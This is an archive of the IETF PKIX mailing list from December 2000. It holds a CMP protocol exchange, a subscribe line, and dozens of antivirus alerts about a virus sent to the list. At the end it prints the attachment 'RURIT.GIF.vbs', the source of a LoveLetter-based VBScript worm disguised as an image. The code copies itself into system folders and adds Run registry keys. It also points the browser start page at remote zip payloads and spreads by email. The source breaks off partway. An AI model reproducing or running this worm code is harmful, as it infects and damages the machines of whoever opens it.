<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Margus =
Freudenthal[SMTP:margus@cyber.ee]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Monday, December 18, 2000 6:13 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Carlisle =
Adams</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">PKIX =
list</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">Re: CMP question</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; Carlisle Adams wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; If &quot;the sending party needs =
to know that (a particular) receiver has</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; really got and understood the =
message&quot;, then the sender should use</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; some mechanism other than a =
broadcast announcement to achieve this.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">In that case, what CMP message should =
be used for sending &quot;personal&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">announcements which require =
confirmation receipts?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">That sort =
of facility is not in the currently-specified CMP messages.&nbsp; A new =
genMsg / genRep pair would have to be defined to accommodate =
this.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I have to =
admit, however, that (to me) the words &quot;personal&quot; and =
&quot;announcement&quot; don't seem to go that well together.&nbsp; I =
think that most people associate the concept of an =
&quot;announcement&quot; with several recipients, each of whom may or =
may not send any kind of response.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06942.CD48EB40--


Received: from poptop.llnl.gov (poptop.llnl.gov [128.115.41.70]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA22649 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 11:33:42 -0800 (PST)
Received: from catalyst (catalyst.llnl.gov [128.115.222.68]) by poptop.llnl.gov (8.8.8/LLNL-3.0.2/pop.llnl.gov-5.1) with ESMTP id LAA26749 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 11:36:20 -0800 (PST)
Message-Id: <4.2.2.20001218113731.00aca300@poptop.llnl.gov>
X-Sender: e048786@poptop.llnl.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Mon, 18 Dec 2000 11:41:19 -0800
To: ietf-pkix@imc.org
From: Tony Bartoletti <azb@llnl.gov>
Subject: Our Own Worst Enemy?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

This is fascinating, and just a bit depressing.

Simply email a virus to a public email discussion list, and watch it 
transform into a mailbox-choking spam attack as every subscribing 
organization's virus scanners echo their warnings back to the list.

:(

___tony___


Tony Bartoletti 925-422-3881 <azb@llnl.gov>
Information Operations, Warfare and Assurance Center
Lawrence Livermore National Laboratory
Livermore, CA 94551-9900



Received: from mail0.sibs.pt (mail0.sibs.pt [195.138.0.101]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA14371 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 09:23:13 -0800 (PST)
Received: (qmail 32299 invoked from network); 18 Dec 2000 17:11:21 -0000
Received: from unknown (HELO mail.sibs.pt) (172.17.0.2) by 172.16.0.3 with SMTP; 18 Dec 2000 17:11:21 -0000
Received: from edi.van ([194.117.48.12]) by mail.sibs.pt (Netscape Mail Server v2.02) with ESMTP id AAA13907 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 17:25:20 +0000
Received: from SIBSEX.sibs ([192.168.250.26]) by edi.van (8.8.2/8.8.2) with ESMTP id RAA26545 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 17:23:29 GMT
Received: by sibsex.sibs with Internet Mail Service (5.5.2650.21) id <XC7F4AWA>; Mon, 18 Dec 2000 17:39:21 -0000
Message-ID: <63DA964A0E78D211B53E0008C7A4F56D01BCFA27@sibsex.sibs>
From: Rui Oliveira <ROliveira@sibs.mailcom.pt>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Date: Mon, 18 Dec 2000 17:39:18 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

subscribe


Received: from charmander.ncipherusa.com (mail.ncipherusa.com [4.21.180.211]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA11654 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 08:34:56 -0800 (PST)
Received: from franklin (mail.ncipherusa.com [172.24.8.2]) by charmander.ncipherusa.com (8.9.3/8.9.3) with SMTP id LAA14517; Mon, 18 Dec 2000 11:42:27 -0500 (EST) (envelope-from wafranklin@us.ncipher.com)
From: "William A. Franklin" <wafranklin@us.ncipher.com>
To: <jeanne.gorman@baltimore.com>, <ietf-pkix@imc.org>
Subject: RE: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<=
Date: Mon, 18 Dec 2000 17:36:18 +0100
Message-ID: <NEBBLCHHGLIAKPFFGFFOCEGOCKAA.wafranklin@us.ncipher.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Do not open referenced message attachment - it is a virus

-----Original Message-----
From: Jeanne Gorman [mailto:jeanne.gorman@baltimore.com]
Sent: Monday, December 18, 2000 4:01 PM
To: ietf-pkix@imc.org
Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT =>
(http://WWW.2600.COM)<=



VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..


Received: from jpmorgan.com (threshold3.jpmorgan.com [169.71.1.12]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA04704 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:33:39 -0800 (PST)
Received: (from uucp@localhost) by jpmorgan.com (8.8.5/8.8.5) id KAA10082 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 10:36:44 -0500 (EST)
Received: from jpmmailhost3.ny.jpmorgan.com(198.75.231.101) by threshold3.jpmorgan.com via smap (V4.2) id xma001971; Mon, 18 Dec 00 10:26:27 -0500
Received: from nyc-ntgw-n01.ny.jpmorgan.com (nyc-smtpmta-05.ny.jpmorgan.com [146.149.150.25]) by jpmmailhost3.ny.jpmorgan.com (8.9.1a/8.9.1) with SMTP id KAA28923 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 10:24:16 -0500 (EST)
Received: by nyc-ntgw-n01.ny.jpmorgan.com(Lotus SMTP MTA v1.2  (600.1 3-26-1998))  id 852569B9.0054BFE5 ; Mon, 18 Dec 2000 10:25:41 -0500
X-Lotus-FromDomain: SMTP
From: "NYC_SMTPMTA_05" <"NYC_SMTPMTA_05"@jpmorgan.com>
To: "Antigen Notification List #3" <Antigen_Notification_List_#3@nyc_ntgw_n01.ny.jpmorgan.com>
Message-ID: <852569B9.0054BE18.00@nyc-ntgw-n01.ny.jpmorgan.com>
Date: Mon, 18 Dec 2000 10:25:36 -0500
Subject: ALERT:Your message from jeanne.gorman was truncated; File att1 .vbs infected with VBS/LoveLetter_based@mm virus
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

A file attachment sent to you was infected with a virus and could NOT
be cleaned. The file has been detached and placed in a quarantine area.
Please contact the sender to arrange for a resend of an uninfected file.
The sender has also been notified as have members of the Information
Security Group. INCIDENT
---------------------------------------------------------------------------
---------------------------------------------
 Scan Time:    12/18/2000 10:25:36 AM
 Detection:    File att1.vbs infected with VBS/LoveLetter_based@mm virus
 Disposition:  Note has been truncated
 Quarantined:  (Document link not converted)
NYC_SMTPMTA_05!!d:\notesdat\A3QAREA.NSF
 Version:      Antigen 3.30 (Build 4)


 SYNOPSIS
---------------------------------------------------------------------------
---------------------------------------------

FILE ATTACHMENT 'att1.vbs'
     << VBS/LoveLetter_based@mm >>
     File size:     12609 bytes
     Host type:     MSDOS
     Compression:   ON
     Attributes:    PUBLIC READ-WRITE
     File flags:    0
     Created:       12/18/2000 10:23:47 AM
     Modified:      12/18/2000 10:24:59 AM
     Status:        Removed
     Scanner:       Norman Scan DLL (version 4700) found
VBS/LoveLetter_based@mm




This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.



Received: from imsp015.netvigator.com (imsp015.netvigator.com [205.252.144.206]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA02448 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:23:01 -0800 (PST)
Received: from hkscript.com (pcd105172.netvigator.com [168.70.130.172]) by imsp015.netvigator.com (8.9.3/8.9.1) with ESMTP id XAA13450; Mon, 18 Dec 2000 23:25:44 +0800 (HKT)
Message-ID: <3A3E3A8F.A7013520@hkscript.com>
Date: Mon, 18 Dec 2000 23:25:51 +0700
From: "Hung Hin Lik, Shell" <shell@hkscript.com>
Organization: Slackware and OpenBSD
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: jeanne.gorman@baltimore.com
CC: ietf-pkix@imc.org
Subject: Re: US PRESIDENT AND FBI SECRETS =PLEASE VISIT =>  (http://WWW.2600.COM)<=
References: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hahaa...

You do a GOOD 'joke'...

hope no one using outlook and script autorun..:-)

Well, I like netscape..

Jeanne Gorman wrote:
> 
> VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
> 
>   ------------------------------------------------------------------------
>                     Name: RURIT.GIF.vbs
>    RURIT.GIF.vbs    Type: VBScript Script File (application/x-unknown-content-type-VBSFile)
>                 Encoding: quoted-printable

-- 
Best Regards,
Shell Hung

mailto:shellhung@linux.org.hk
HomePage : http://www.hkscript.com


Received: from mail.telenisus.com ([204.248.55.99]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA01924 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:21:43 -0800 (PST)
X-WSS-ID: 1620F24029266-01
Date: Mon, 18 Dec 2000 09:31:25 -0600
From: "Postmaster" <Postmaster@Telenisus.com>
To: ietf-pkix@imc.org
Message-ID: <1620F24029266-01@WorldSecure_Server__Tri-Sage.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed;  boundary="_-==1620F24736==-_"
Subject: WS/Mail Server Notification

--_-==1620F24736==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	RURIT.GIF.vbs


--_-==1620F24736==-_--



Received: from tkcs04 (fs1.tkc.at [195.248.51.98]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29500 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:13:19 -0800 (PST)
From: virusadmin@tkc.at
Message-Id: <200012181513.HAA29500@ns.secondary.com>
Date: Mon, 18 Dec 2000 16:17:50 +0100 (Westeuropäische Normalzeit)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 16:17:50 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	deleted
Virus: 	VBS_LOVELETTR.AS 


Received: from smaug.wrq.com (smaug.wrq.com [150.215.17.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29177 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:11:08 -0800 (PST)
Received: from abra.wrq.com (abra.wrq.com [150.215.8.10]) by smaug.wrq.com (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id HAA28116 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:14:14 -0800 (PST)
Received: by abra.wrq.com with Internet Mail Service (5.5.2650.21) id <Y9QWXKZ4>; Mon, 18 Dec 2000 07:14:12 -0800
Message-ID: <616772E97E38D31188FA00508B318ACA01B3C0B8@abra.wrq.com>
From: ANTIGEN_ABRA <ANTIGEN_ABRA@wrq.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: Antigen found =*.vbs file
Date: Mon, 18 Dec 2000 07:14:03 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

Antigen for Exchange found RURIT.GIF.vbs matching =*.vbs file filter.
The file is currently Deleted.  The message, "US PRESIDENT AND FBI SECRETS
=PLEASE VISIT => (http://WWW.2600.COM)<=", was
sent from Jeanne Gorman  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.


Received: from roadblock.missi.ncsc.mil (roadblock.missi.ncsc.mil [144.51.50.70]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28921 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:09:12 -0800 (PST)
Received: from roadblock.missi.ncsc.mil (root@localhost) by roadblock.missi.ncsc.mil with ESMTP id JAA14716 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 09:45:21 -0500 (EST)
Message-Id: <200012181445.JAA14711@roadblock.missi.ncsc.mil>
From: "Fillingham,  David W." <dwfilli@missi.ncsc.mil>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =PLEASE  V ISIT => (http://WWW.2600.COM) < =
Date: Mon, 18 Dec 2000 10:13:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06905.0F57D020"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06905.0F57D020
Content-Type: text/plain;
	charset="ISO-8859-1"

All:  

Our virus scanner detected a virus in the recent message sent to the
ietf/pkix mail list - subject:  US PRESIDENT AND FBI SECRETS =PLEASE

Thought I'd pass on the word.

Best Regards,
Dave Fillingham

-----Original Message-----
From: mailsweeper@missi.ncsc.mil [mailto:mailsweeper@missi.ncsc.mil] 
Sent: Monday, December 18, 2000 10:09 AM
Subject: Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =PLEASE

  was sent a virus from owner-ietf-pkix@imc.org.
The e-mail titled :  US PRESIDENT AND FBI SECRETS =PLEASE VISIT =>
(http://WWW.2600.COM)<=
was scanned and contained a virus.
The email will not be delivered, and will be deleted.

------_=_NextPart_001_01C06905.0F57D020
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =3DPLEASE =
 VISIT =3D&gt; (http://WWW.2600.COM) &lt; =3D</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>All:&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>Our virus scanner detected a virus in the recent =
message sent to the ietf/pkix mail list - subject:&nbsp; US PRESIDENT =
AND FBI SECRETS =3DPLEASE</FONT></P>

<P><FONT SIZE=3D2>Thought I'd pass on the word.</FONT>
</P>

<P><FONT SIZE=3D2>Best Regards,</FONT>
<BR><FONT SIZE=3D2>Dave Fillingham</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: mailsweeper@missi.ncsc.mil [<A =
HREF=3D"mailto:mailsweeper@missi.ncsc.mil">mailto:mailsweeper@missi.ncsc=
.mil</A>] </FONT>
<BR><FONT SIZE=3D2>Sent: Monday, December 18, 2000 10:09 AM</FONT>
<BR><FONT SIZE=3D2>Subject: Virus Warning : Subject : US PRESIDENT AND =
FBI SECRETS =3DPLEASE</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; was sent a virus from =
owner-ietf-pkix@imc.org.</FONT>
<BR><FONT SIZE=3D2>The e-mail titled :&nbsp; US PRESIDENT AND FBI =
SECRETS =3DPLEASE VISIT =3D&gt; (<A HREF=3D"http://WWW.2600.COM" =
TARGET=3D"_blank">http://WWW.2600.COM</A>)&lt;=3D</FONT>
<BR><FONT SIZE=3D2>was scanned and contained a virus.</FONT>
<BR><FONT SIZE=3D2>The email will not be delivered, and will be =
deleted.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06905.0F57D020--


Received: from mail.brokat.de (mail.brokat.de [212.9.175.131]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28466 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:31 -0800 (PST)
From: viruscop@brokat.com
Received: by mail.brokat.de (Smail3.2.0.111/mail.brokat.de) via LF.net GmbH Internet Services via remoteip 172.17.2.1 via remotehost border with smtp for mail.imc.org id m1481zT-005lKhC; Mon, 18 Dec 2000 16:14:15 +0100 (CET)
Message-Id: <m1481zT-005lKhC@mail.brokat.de>
Date: Mon, 18 Dec 2000 16:10:27 +0100 (W. Europe Standard Time)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 16:10:27 +0100 (W. Europe Standard Time)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	clean failed - moved to RURIT.GIF.vbs.0
Virus: 	VBS_LOVELETTR.AS 


Received: from bbmail1-out.unisys.com ([192.63.108.40]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28384 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:27 -0800 (PST)
Received: from us-bb-gtwy-2.bb.unisys.com (us-bb-gtwy-2.bb.unisys.com [192.63.78.152]) by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id PAA28610 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 15:05:04 GMT
Received: by us-bb-gtwy-2.bb.unisys.com with Internet Mail Service (5.5.2650.21) id <YX7HRPM7>; Mon, 18 Dec 2000 10:10:12 -0500
Message-ID: <CBB88216EA7FD211A31D00105A239A5F06530118@us-bb-gtwy-2.bb.unisys.com>
From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-2_0 <NMXEXSPP0_US-BB-GTWY-2@UNISYS.com>
To: ietf-pkix@imc.org
Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient
Date: Mon, 18 Dec 2000 10:10:08 -0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

	From:		Jeanne Gorman [SMTP:jeanne.gorman@baltimore.com]
	To:		
	Date:		Mon, Dec 18 2000,  10:01:18 AM
	Subject:		US PRESIDENT AND FBI SECRETS =PLEASE VISIT
=> (http://WWW.2600.COM)<=


The message contained 1 virus(es):

	rurit.gif.vbs		infected with the VBS/LoveLetter_based@mm
virus
- - -


Virus Notification: A virus has been detected in a message in which you
where a recipient!
Check the original message.
If the attachment could not be repaired it was Deleted from the message.


Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28332 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:21 -0800 (PST)
Received: from us-ea-gtwy-7.ea.unisys.com (us-ea-gtwy-7.ea.unisys.com [192.61.145.102]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id PAA11047 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 15:09:39 GMT
Received: by us-ea-gtwy-7.ea.unisys.com with Internet Mail Service (5.5.2650.21) id <Y0AQWYQ4>; Mon, 18 Dec 2000 09:10:21 -0600
Message-ID: <5DB22FA0A32CD2118DDD00104B94378A10CE2F20@us-ea-gtwy-7.ea.unisys.com>
From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-7_0 <NMXEXSPP0_US-EA-GTWY-7@unisys.com>
To: ietf-pkix@imc.org
Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient
Date: Mon, 18 Dec 2000 09:09:58 -0600
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

	From:		Jeanne Gorman [SMTP:jeanne.gorman@baltimore.com]
	To:		
	Date:		Mon, Dec 18 2000,  9:01:18 AM
	Subject:		US PRESIDENT AND FBI SECRETS =PLEASE VISIT
=> (http://WWW.2600.COM)<=


The message contained 1 virus(es):

	rurit.gif.vbs		infected with the VBS/LoveLetter_based@mm
virus
- - -


Virus Notification: A virus has been detected in a message in which you
where a recipient!
Check the original message.
If the attachment could not be repaired it was Deleted from the message.


Received: from ntserver2.chrysalis-its.com ([209.47.245.163]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28216 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:06:51 -0800 (PST)
From: postmaster@chrysalis-its.com
Message-Id: <200012181506.HAA28216@ns.secondary.com>
Received: from PANTHER ([172.16.0.9]) by ntserver2.chrysalis-its.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id XXCGYRMB; Mon, 18 Dec 2000 10:09:56 -0500
Date: Mon, 18 Dec 2000 10:09:05 -0500 (Eastern Standard Time)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 10:09:05 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	clean failed - deleted
Virus: 	VBS_LOVELETTR.AS 


Received: from HUBNT001.HQGLOBAL.COM (ip-12-39-34-234.hqglobal.net [12.39.34.234]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA27687 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:02:13 -0800 (PST)
Received: from gormanj ([32.101.160.78]) by HUBNT001.HQGLOBAL.COM (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id 852569B8.00115882; Sat, 16 Dec 2000 22:09:28 -0500
Reply-To: <jeanne.gorman@baltimore.com>
From: "Jeanne Gorman" <jeanne.gorman@baltimore.com>
To: <ietf-pkix@imc.org>
Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<=
Date: Mon, 18 Dec 2000 15:01:18 -0000
Message-ID: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C9_01C06904.533323E0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_00C9_01C06904.533323E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
------=_NextPart_000_00C9_01C06904.533323E0
Content-Type: application/octet-stream;
	name="RURIT.GIF.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="RURIT.GIF.vbs"

rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
rem  "Plan Colombia" virus v1.0
rem  by Sand Ja9e Gr0w   (www.colombia.com)

rem  Dedicated to all the people that want to be hackers or crackers, in =
Colombia =20
rem  This program is also a protest act against the violence and =
corruption that Colombia lives...
rem  I always wanting that all this finishes, I have said...


rem  Santa fe de Bogot=E1 2000/09
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


rem  Thanks God..!
rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"
rem  A greeting for "Tizo" from "Spain"
rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"

rem  okay, ok...=20
rem  my baby start here...

=20
On Error Resume Next
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=3D""
ctr=3D0

randomize
numero =3D Int(Rnd * 3) + 1
polye =3D ".GIF.vbs"
If numero =3D 1 Then
  polye =3D ".BMP.vbs"
 Else
  If numero =3D 2 Then
    polye =3D ".JPG.vbs"
  End If
End If


polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye

Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
If Day(Now) =3D 17 And Month(Now) =3D 9 Then
  MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"
  killnet()
End If



sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\LINUX32.vbs")
c.Copy(dirwin&"\reload.vbs")
c.Copy(dirsystem&polyn)
regruns()
html()
spreadtoemail()
listadriv()
end sub



sub regruns()
On Error Resume Next
Dim num,downread,res
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32=
",dirsystem&"\LINUX32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\reload",dirwin&"\reload.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
  downread=3D"c:\"
end if

rem   acepta nombres largos..?
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
  Randomize
  Randomize
  num =3D Int((4 * Rnd) + 1)

  rem  fatal =3D> send virii
  if num =3D 2 then=20
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"
   else
    rem  oh,, a picture.. nice :) =20
    if num =3D 3 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip"      =20
      else
       rem  oh,, other picture  =3D:()
       if num =3D 4 then
         regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
